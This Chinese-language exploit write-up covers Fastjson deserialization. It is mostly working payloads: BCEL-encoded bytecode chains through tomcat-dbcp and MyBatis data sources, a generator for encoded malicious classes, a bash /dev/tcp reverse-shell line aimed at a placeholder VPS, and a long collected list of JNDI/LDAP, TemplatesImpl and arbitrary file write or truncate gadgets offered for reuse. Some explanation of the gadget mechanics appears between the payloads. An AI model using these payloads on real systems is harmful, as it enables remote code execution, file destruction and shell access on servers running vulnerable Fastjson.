1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.hantest.fastjsontest1; import com.alibaba.fastjson.JSON; public class BcelTest2 { public static void main(String[] args) { String payload = "{\n" + " {\n" + " \"aaa\": {\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A\"\n" + " }\n" + " }:\"xxx\"\n" + "}"; JSON.parse(payload); } }
接下来这个是1.2.47下的bcel(更准确来说应该是1.2.24<=x<1.2.36)
因为在大于1.2.36的情况下通过key的jsonObject的tostring触发链发生了变化
所以是不通的
只不过这个payload是在1.2.47的写法上写的
所以适用于1.2.24-.1.2.35所有版本的bcel通杀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 { "xx" : { "@type" : "java.lang.Class" , "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" } , "x" : { "name" : { "@type" : "java.lang.Class" , "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , { "@type" : "com.alibaba.fastjson.JSONObject" , "c" : { "@type" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driverClassName" : "$$BCEL$$evil_code" } } : "xxx" } }
<=1.2.35下的分析: BCEL的全名是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,CC链也就是从Apache Commons
产生的。
BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。主要用来将xml文档转为class文件。编译后的class被称为translet,可以在后续用于对XML文件的转换。
找到上述说到的包里的这个类
我们可以发现indexof的意思是查找某个字符或子字符串在原字符串中第一次出现的位置 。
跟进到createClass函数
有个解码的操作和提权除去前八个字节值的操作
所以写poc的时候也要编码一次
然后就是通过实例化去触发这段代码即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.hantest.fastjsontest1;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;import java.io.IOException;public class BcelTest { public static void main (String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException { JavaClass cls = Repository.lookupClass(Evil.class); String code = Utility.encode(cls.getBytes(),true ); System.out.println("$$BCEL$$" +code); new ClassLoader ().loadClass("$$BCEL$$" +code).newInstance(); } }
如何跟fastjson挂钩呢这个bcel利用链? 这里就需要用到我们maven中引入一个新的库去实现通过fastjson触发新的利用链再触发bcel利用链
tomcat-dbcp里面有一个BasicDataSource类,在反序列化的时候会调用getConnection()方法,而getConnection()方法在返回的时候又会调用createDataSource()方法。
而createDataSource()方法又调用了createConnectionFactory()方法。
继续跟踪,查看createConnectionFactory()方法,可以看到这里有两个参数
this.driverClassName和this.driverClassLoader。
这里解释一下poc,指定类org.apache.tomcat.dbcp.dbcp2.BasicDataSource是为了控制上面我们说的driverClassName和driverClassLoader这两个参数,然后还指定了com.sun.org.apache.bcel.internal.util这个类,目的是触发里面的ClassLoader类和loadClass方法,使其加载我们的恶意代码,加上bcel
1 2 3 4 5 6 7 8 9 10 11 12 13 { { "aaa": { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "bbb" } //注意:这里是tomcat>8的poc,如果小于8的话用到的类是 //org.apache.tomcat.dbcp.dbcp.BasicDataSource
上面这一小段的部分poc和文字以及图片来源于网上…讲的很好了就不重复了(偷个懒直接贴)https://blog.csdn.net/2301_76227305/article/details/144035731
上面还有个点没解释清楚就是具体是如何调用getConnection的
不解释清楚还是会对payload有点没看懂
**问:**为什么我直接构造这样的 payload("aaa"
对应一个 BasicDataSource
对象)无法触发漏洞 ,而必须将这个对象再嵌套一层并作为 Map
的 key ,才能触发 RCE?
解答:
key为JSONObject
对象,也会触发parseObject解析
虽然正常情况下把key当作jsonObject对象而言不太合理并且有问题..因为一般key都是字符串的..但是fastjson确实有对应的逻辑
点击parseObject函数
他会触发tostring函数
会依次调用该类的getter方法获取值。然后会以字符串的形式输出出来。所以会调用到getConnection
方法。
>=1.2.36下的分析 感兴趣的师傅可以看看这个
https://blog.51cto.com/u_15847702/5798868
是利用$ref
但是好像还需要目标服务器上有已经存在的类似于攻击者写好的恶意类才能利用
然后通过$ref访问属性名的时候会调用getter去触发
但是跟上面的bcel链子不能形成连接?也可能要深入挖掘.
我没找到>=1.2.36的bcel链子的payload并且在我自己看了原文章之后感觉也很难和bcel链子形成连接
所以这里就贴了个文章感兴趣的师傅研究研究看看能不能发现链子
我比较愚笨看不出来
我们先来了解一下$ref的大概用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public class User { private String cmd; public void setCmd (String cmd) { this .cmd = cmd; } public String getCmd () { Runtime.getRuntime().exec(cmd); return cmd; } } [ { "@type" : "com.example.User" , "cmd" : "calc.exe" }, { "$ref" : "$[0].cmd" } ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class User { public String getCmd () { System.out.println("Getter called!" ); return "some-cmd" ; } } [ { "@type" : "com.example.User" }, { "$ref" : "$[0].cmd" } ] 输出:Getter called!
我们可以发现后面这个属性的部分.cmd只要是个属性名存在就行,不一定要局限于在payload有显式的cmd属性名
还记得我们上面的问题和解答吗,关于把他当作jsonobject放到key这个位置
最终目的是为了触发getConnection函数
$ref就会调用getter
这个时候我们只需要$ref:connection不就可以了吗?不就会触发getConnection了吗
BCEL-1.2.36~1.2.47payload如下
//注意:这里是tomcat>8的poc,如果小于8的话用到的类是 //org.apache.tomcat.dbcp.dbcp.BasicDataSource
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 { "name" : { "@type" : "java.lang.Class" , "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" } , "x" : { "name" : { "@type" : "java.lang.Class" , "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "y" : { "@type" : "com.alibaba.fastjson.JSONObject" , "c" : { "@type" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$CA$Q$ac$86$85$85uQ$k$e2$fb$RO$82$H$b9x$c3$Y$T$a3$89$c9F$M$Q$3c$_$e3$88C$60$d7$ec$ce$g$7e$cb$8b$g$P$7e$80$le$ecA$82$qNg$a6R$d5$d5$dd3$f3$f5$fd$f1$J$e0$E$fb$O$b2$u$3b$a8$605$87$aa$c15$h$eb66$I$d9S$V$u$7dFH$d7$ea$3d$82u$R$deK$c2$8a$a7$Cy$93$8c$fb2$ea$fa$fd$R$xe$_$U$fe$a8$e7G$ca$f0$99h$e9G$V$T$f2$5eW$c6$ba$z$l$9a$E$e7r$o$e4$93Va$Q$db$d8d$de$J$93H$c8$xe$fc$ee$ccw$3c$f4$9f$7d$X6r6$b6$5clc$87$7bq$7b$e1b$X$7b$E$7b$e6$p$U$8d$b31$f2$83A$a3$d5$lJ$a1$J$95$a9$a4$c2$c6uk$3e$8bP$fa3$b6$93$40$ab1$8fs$GR$cfI$b5V$f7$fey$f8$c2$96$9cHA8$ac$zd$3b$3aR$c1$a0$b9Xp$h$85B$c6q$T$H$c8$f0g$9aE$i$fc$E$a4$90gv$ceH$8c$cbGo$a0w$a4$ca$e9WXw$_$ac$a4$e0$Y$ji$3e$z$8e$M$K$dca$89$99$fb$5b$c1X$98$a2$c9$f3$e7$f3$$N$ebJ$3f$83$94$e8$8d$c2$B$A$A" , "$ref" : "$.x.y.c.connection" } } } }
基于Tomcat回显 编写BCEL_exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import com.sun.org.apache.bcel.internal.classfile.Utility; import java.io.BufferedWriter; import java.io.FileWriter; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; public class BCEL_exp { public static void main(String[] args) throws IOException { Path path = Paths.get("D:\\java\\untitled1\\FastJsonDemo\\untitled\\src\\exp.class"); byte[] bytes = Files.readAllBytes(path); System.out.println(bytes.length); String encode = Utility.encode(bytes, true); BufferedWriter bw = new BufferedWriter(new FileWriter("./res.txt")); bw.write("$$BECL$$" + encode); bw.close(); } } //生成的字节码如下 //$$BECL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u$$$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$A
exp.classs
=> java1.8_65
1 2 3 4 5 6 7 8 public class exp{ static { try{ Runtime.getRuntime().exec("calc"); } catch (Exception e) { } } }
构造poc
如下,成功弹出计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 { "a": { "@type": "java.lang.Class", "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" }, "b": { "@type": "java.lang.Class", "val": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "c": { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BECL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u$$$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$A" } }
再去构造编写反弹shell构造即可
1 bash -c {echo,bash -i >& /dev/tcp/VPS/6666 0>&1的base64}|{base64,-d}|{bash,-i}
基于Spring echo回显 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 { "a": { "@type": "java.lang.Class", "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" }, "b": { "@type": "java.lang.Class", "val": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "c": { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "字节码放入此处" } }
基于mybatis组件 1 2 3 4 5 6 pom.xml <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.2</version> </dependency>
姿势:延时Payload
1 2 3 {"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"{$$BCEL$$$l$8b$I$A$A$A$A$A$A$AU$90$b9N$c3$40$Q$86$ff$J$b678$O$Jq8$r$K$ba$84$824$94$R$N$87$c4$8d$94$u$fdz$b3$C$H$c7$b6$8c$83x$E$de$84$3a$V$88$82$H$e0$a1$Q$b3$L$C1$c5$cc$ee7$ff$i$bb$l$9fo$ef$A$f6$b0$e9C$60$d9$85$b5$f0$c9G$L$a1$40$5b$60E$60$95$e0$f5$e34$$$f7$J$L$9d$ee$88$e0$idcMh$9c$c7$a9$be$9cM$p$5d$Me$940$a9$f6U$f2$a3$ac$PJ$a9$ee$$dnS$dc$8b$e0$P$b2Y$a1$f4ql$a5$d7$99$da$9d$c8$H$Z$a0$8aE$81$b5$A$eb$d8$m$84$86$f5$S$99$de$f4$8e$k$95$ce$cb8Ky$$$ab$J$cd$bf$dcU4$d1$aa$fc$87$86$b7$85$96c$82$7b$9fh$9d$f3$96$9d$d3$ee$I$db$f0$f8i$c6$w$m3$8a$bd$cf$b7$z$8e$c4$d1$ddy$B$cd$f9$40$a8$b1$f7$y4$c2$e0WzhK$81Z$h$95W8$cfp$ce$e6$Wx$yq9i$K$5bp$d8$3b$cc$be$a9$f9$d0$3a$T$81$ca$89$c0$92$e9$d9$b0K4$bf$A5$8d$cc6u$B$A$A}"}} 回显Payload {"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"{字节码放这里}"}}
更多的fastjson利用链: https://www.javasec.org/java-vuls/FastJson.html
以下为部分在各个途径搜集的 payload,版本自测:
JdbcRowSetImpl
1 2 3 4 5 { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://127.0.0.1:23457/Command8" , "autoCommit" : true }
TemplatesImpl
1 2 3 4 5 6 7 { "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" , "_bytecodes" : [ "yv66vgA...k=" ] , '_name': 'su18', '_tfactory': { } , "_outputProperties" : { } , }
JndiDataSourceFactory
1 2 3 4 5 6 { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://127.0.0.1:23457/Command8" } }
SimpleJndiBeanFactory
1 2 3 4 5 6 7 8 9 10 11 { "@type" : "org.springframework.beans.factory.config.PropertyPathFactoryBean" , "targetBeanName" : "ldap://127.0.0.1:23457/Command8" , "propertyPath" : "su18" , "beanFactory" : { "@type" : "org.springframework.jndi.support.SimpleJndiBeanFactory" , "shareableResources" : [ "ldap://127.0.0.1:23457/Command8" ] } }
DefaultBeanFactoryPointcutAdvisor
1 2 3 4 5 6 7 8 9 10 11 12 13 { "@type" : "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor" , "beanFactory" : { "@type" : "org.springframework.jndi.support.SimpleJndiBeanFactory" , "shareableResources" : [ "ldap://127.0.0.1:23457/Command8" ] } , "adviceBeanName" : "ldap://127.0.0.1:23457/Command8" } , { "@type" : "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor" }
WrapperConnectionPoolDataSource
1 2 3 4 { "@type" : "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" , "userOverridesAsString" : "HexAsciiSerializedMap:aced000...6f;" }
JndiRefForwardingDataSource
1 2 3 4 5 { "@type" : "com.mchange.v2.c3p0.JndiRefForwardingDataSource" , "jndiName" : "ldap://127.0.0.1:23457/Command8" , "loginTimeout" : 0 }
InetAddress
1 2 3 4 { "@type" : "java.net.InetAddress" , "val" : "http://dnslog.com" }
Inet6Address
1 2 3 4 { "@type" : "java.net.Inet6Address" , "val" : "http://dnslog.com" }
URL
1 2 3 4 { "@type" : "java.net.URL" , "val" : "http://dnslog.com" }
JSONObject
1 2 3 4 5 6 7 8 9 { "@type" : "com.alibaba.fastjson.JSONObject" , { "@type" : "java.net.URL" , "val" : "http://dnslog.com" } } "" }
URLReader
1 2 3 4 5 6 7 8 9 10 { "poc" : { "@type" : "java.lang.AutoCloseable" , "@type" : "com.alibaba.fastjson.JSONReader" , "reader" : { "@type" : "jdk.nashorn.api.scripting.URLReader" , "url" : "http://127.0.0.1:9999" } } }
AutoCloseable 任意文件写入
1 2 3 4 5 6 7 8 9 10 11 12 { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream" , "out" : { "@type" : "java.io.FileOutputStream" , "file" : "/path/to/target" } , "parameters" : { "@type" : "org.apache.commons.compress.compressors.gzip.GzipParameters" , "filename" : "filecontent" } }
BasicDataSource
1 2 3 4 5 6 7 8 { "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource" , "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A..." , "driverClassLoader" : { "@type" : "Lcom.sun.org.apache.bcel.internal.util.ClassLoader;" } }
JndiConverter
1 2 3 4 { "@type" : "org.apache.xbean.propertyeditor.JndiConverter" , "AsText" : "ldap://127.0.0.1:23457/Command8" }
JtaTransactionConfig
1 2 3 4 5 6 7 { "@type" : "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig" , "properties" : { "@type" : "java.util.Properties" , "UserTransaction" : "ldap://127.0.0.1:23457/Command8" } }
JndiObjectFactory
1 2 3 4 { "@type" : "org.apache.shiro.jndi.JndiObjectFactory" , "resourceName" : "ldap://127.0.0.1:23457/Command8" }
AnterosDBCPConfig
1 2 3 4 { "@type" : "br.com.anteros.dbcp.AnterosDBCPConfig" , "metricRegistry" : "ldap://127.0.0.1:23457/Command8" }
AnterosDBCPConfig2
1 2 3 4 { "@type" : "br.com.anteros.dbcp.AnterosDBCPConfig" , "healthCheckRegistry" : "ldap://127.0.0.1:23457/Command8" }
CacheJndiTmLookup
1 2 3 4 { "@type" : "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup" , "jndiNames" : "ldap://127.0.0.1:23457/Command8" }
AutoCloseable 清空指定文件
1 2 3 4 5 6 { "@type" : "java.lang.AutoCloseable" , "@type" : "java.io.FileOutputStream" , "file" : "/tmp/nonexist" , "append" : false }
AutoCloseable 清空指定文件
1 2 3 4 5 6 { "@type" : "java.lang.AutoCloseable" , "@type" : "java.io.FileWriter" , "file" : "/tmp/nonexist" , "append" : false }
AutoCloseable 任意文件写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 { "stream" : { "@type" : "java.lang.AutoCloseable" , "@type" : "java.io.FileOutputStream" , "file" : "/tmp/nonexist" , "append" : false } , "writer" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.solr.common.util.FastOutputStream" , "tempBuffer" : "SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=" , "sink" : { "$ref" : "$.stream" } , "start" : 38 } , "close" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.iq80.snappy.SnappyOutputStream" , "out" : { "$ref" : "$.writer" } } }
BasicDataSource
1 2 3 4 5 6 7 8 { "@type" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "driverClassName" : "true" , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A" }
HikariConfig
1 2 3 4 { "@type" : "com.zaxxer.hikari.HikariConfig" , "metricRegistry" : "ldap://127.0.0.1:23457/Command8" }
HikariConfig
1 2 3 4 { "@type" : "com.zaxxer.hikari.HikariConfig" , "healthCheckRegistry" : "ldap://127.0.0.1:23457/Command8" }
HikariConfig
1 2 3 4 { "@type" : "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" , "metricRegistry" : "ldap://127.0.0.1:23457/Command8" }
HikariConfig
1 2 3 4 { "@type" : "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" , "healthCheckRegistry" : "ldap://127.0.0.1:23457/Command8" }
SessionBeanProvider
1 2 3 4 5 { "@type" : "org.apache.commons.proxy.provider.remoting.SessionBeanProvider" , "jndiName" : "ldap://127.0.0.1:23457/Command8" , "Object" : "su18" }
JMSContentInterceptor
1 2 3 4 5 6 7 8 9 { "@type" : "org.apache.cocoon.components.slide.impl.JMSContentInterceptor" , "parameters" : { "@type" : "java.util.Hashtable" , "java.naming.factory.initial" : "com.sun.jndi.rmi.registry.RegistryContextFactory" , "topic-factory" : "ldap://127.0.0.1:23457/Command8" } , "namespace" : "" }
ContextClassLoaderSwitcher
1 2 3 4 5 6 7 8 9 { "@type" : "org.jboss.util.loading.ContextClassLoaderSwitcher" , "contextClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" } , "a" : { "@type" : "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A" } }
OracleManagedConnectionFactory
1 2 3 4 { "@type" : "oracle.jdbc.connector.OracleManagedConnectionFactory" , "xaDataSourceName" : "ldap://127.0.0.1:23457/Command8" }
JNDIConfiguration
1 2 3 4 { "@type" : "org.apache.commons.configuration.JNDIConfiguration" , "prefix" : "ldap://127.0.0.1:23457/Command8" }
从黑盒&白盒的角度分析一些报错的成因以及处理方法 在打靶场的时候我遇到这样的一个问题
1 2 3 4 5 { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://ip:9473/TouchFile", "autoCommit": true }
上面这个vulhub的靶场payload无论怎么打都是不行,下面这个payload则可以
1 2 3 4 5 6 7 { "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://ip:9473/TouchFile", "autoCommit": true } }
那么问题来了为什么要嵌套才能成功?
扒了一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @Controller public class JSONController { @RequestMapping(value = {"/"}, method = {RequestMethod.GET}, produces = {"application/json;charset=UTF-8"}) @ResponseBody public Object getUser () { User user = new User (); user.setName("Bob" ); user.setAge(25 ); return user; } @RequestMapping(value = {"/"}, method = {RequestMethod.POST}, produces = {"application/json;charset=UTF-8"}) @ResponseBody public Object setUser (@RequestBody User user) { user.setAge(20 ); return user; } }
关键点 :参数类型被声明为User
类
也就是说会把得到的json反序列化成一个User
对象
这是很符合正常业务逻辑的
但是由于如果我们不嵌套的情况下又会出现@type指定类导致两个类型存在冲突而产生报错
那么如何处理或者说绕过这种情况呢?
我们可以通过嵌套一个新的json
并且这个字段是任意的值去实现(最好是不要跟原有的name,age这种属性冲突)
1 2 3 4 5 6 7 { "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://ip:9473/TouchFile", "autoCommit": true } }
比如这样
json在解析嵌套的循环的json数据的时候,如果某个字段的值是一个 JSON 对象(即 {...}
),并且该字段对应的类是 Object
/ Map
/ 自定义类 / 甚至是泛型等,它就会递归调用自己去解析这个嵌套的对象结构 。
为什么要一个新的字段名也可以呢?
通过这个文件下的fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\deserializer\JavaBeanDeserializer.class分析
我们可以发现当字段不存在的时候也会正常的解析和处理
fastjson原生反序列化:(<=1.2.48) 先了解一下原生是什么意思?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 ## Fastjson原生反序列化的利用点 ### 需要常规的反序列化入口点 Fastjson的原生反序列化**必须**在一个常规的Java反序列化入口点才能触发,而不是fastjson自己的反序列化入口。 ### 具体说明 #### 1. **不是**通过fastjson的反序列化入口 ```java // 这些都不是fastjson原生反序列化的入口点 JSON.parse(jsonString); // fastjson的JSON反序列化 JSON.parseObject(jsonString); // fastjson的对象反序列化 JSON.parseArray(jsonString); // fastjson的数组反序列化 ``` #### 2. **必须**通过Java原生反序列化入口 ```java // 这些才是fastjson原生反序列化需要的入口点 ObjectInputStream.readObject(); // 直接调用 ObjectInputStream.readUnshared(); // 变体 XMLDecoder.readObject(); // XML反序列化 Hessian2Input.readObject(); // Hessian反序列化 // 其他任何调用ObjectInputStream.readObject()的地方 ``` ## 完整的攻击场景 ### 攻击链条 ``` 1. 应用存在常规反序列化入口 (如接收序列化数据的接口) ↓ 2. 攻击者构造包含JSONArray/JSONObject的序列化数据 ↓ 3. 应用调用ObjectInputStream.readObject() ↓ 4. 触发JSONArray/JSONObject的toString方法 ↓ 5. 调用恶意对象的getter方法 ↓ 6. 执行恶意代码 ``` ### 实际利用场景 #### 场景1:Web应用的反序列化接口 ```java // 应用代码 - 存在反序列化入口 @PostMapping("/deserialize") public Object deserialize(@RequestBody byte[] data) { try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) { return ois.readObject(); // 反序列化入口点 } } ``` #### 场景2:RMI服务 ```java // RMI服务中的方法参数反序列化 public interface RemoteService extends Remote { void processData(Object data) throws RemoteException; // 参数会被反序列化 } ``` #### 场景3:消息队列 ```java // 消息队列消费者 @MessageListener public void onMessage(Object message) { // message对象通过反序列化得到 } ``` ## 利用条件总结 ### 必要条件 1. **应用中存在Java原生反序列化入口** 2. **攻击者可以控制序列化数据的内容** 3. **classpath中包含fastjson的jar包** 4. **目标应用会反序列化包含JSONArray/JSONObject的数据** ### 攻击payload构造 ```java // 攻击者需要构造这样的数据结构 TemplatesImpl templates = createEvilTemplates(); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException payload = new BadAttributeValueExpException(null); setFieldValue(payload, "val", jsonArray); // 通过原生序列化发送给目标应用 ObjectOutputStream.writeObject(payload); ``` ## 对比总结 | 攻击类型 | 入口点 | 触发方式 | 数据格式 | | -------------------- | -------------------------------- | -------------- | -------------------- | | Fastjson反序列化 | `JSON.parse()` | @type字段 | JSON字符串 | | Fastjson原生反序列化 | `ObjectInputStream.readObject()` | toString调用链 | Java序列化二进制数据 | ## 关键理解点 1. 